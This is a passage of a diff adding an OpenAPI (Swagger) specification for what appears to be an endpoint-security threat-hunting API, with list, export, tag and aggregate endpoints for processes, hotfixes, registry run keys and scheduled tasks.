+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Process'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Process/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Process_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Process/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Process_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Process/toList/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_toList
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: job_instance_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_ProcessListResponse'
+            type: array
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Process/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Process'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Process/{id}/connections/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_connections
+      parameters:
+        - in: query
+          name: limit
+          required: false
+          type: integer
+        - in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ConnectionsList'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Process/{id}/handles/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_handles
+      parameters:
+        - in: query
+          name: limit
+          required: false
+          type: integer
+        - in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_HandlesList'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Process/{id}/modules/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_modules
+      parameters:
+        - in: query
+          name: limit
+          required: false
+          type: integer
+        - in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ModulesList'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Process/{id}/threads/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_threads
+      parameters:
+        - in: query
+          name: limit
+          required: false
+          type: integer
+        - in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ThreadsList'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ProcessAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ProcessAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Process'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ProcessAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ProcessAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ProcessAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ProcessAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ProcessAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ProcessAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Process'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/QuickFixEngineering/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_QuickFixEngineering_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/QuickFixEngineering'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/QuickFixEngineering/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_QuickFixEngineering_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/QuickFixEngineering/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_QuickFixEngineering_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/QuickFixEngineering/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_QuickFixEngineering_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/QuickFixEngineering'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/QuickFixEngineeringAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_QuickFixEngineeringAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/QuickFixEngineering'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/QuickFixEngineeringAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_QuickFixEngineeringAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/QuickFixEngineeringAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_QuickFixEngineeringAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/QuickFixEngineeringAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_QuickFixEngineeringAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/QuickFixEngineering'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/RunKey/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_RunKey_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RunKey'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/RunKey/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_RunKey_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/RunKey/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_RunKey_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/RunKey/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_RunKey_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RunKey'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/RunKeyAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_RunKeyAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RunKey'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/RunKeyAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_RunKeyAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/RunKeyAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_RunKeyAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/RunKeyAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_RunKeyAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RunKey'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskBinary/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskBinary_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskBinary'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskBinary/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskBinary_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskBinary/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskBinary_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskBinary/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskBinary_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskBinary'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskBinaryAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ScheduledTaskBinaryAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskBinary'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskBinaryAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskBinaryAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskBinaryAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskBinaryAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskBinaryAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskBinaryAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskBinary'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskGlu/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskGlu_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskGlu'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskGlu/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskGlu_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskGlu/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskGlu_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskGlu/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskGlu_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskGlu'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskGluAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ScheduledTaskGluAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskGlu'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskGluAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskGluAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskGluAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskGluAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskGluAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskGluAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskGlu'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskXML/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskXML_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskXML'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskXML/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskXML_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskXML/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskXML_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskXML/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskXML_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskXML'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ScheduledTaskXMLAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ScheduledTaskXMLAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
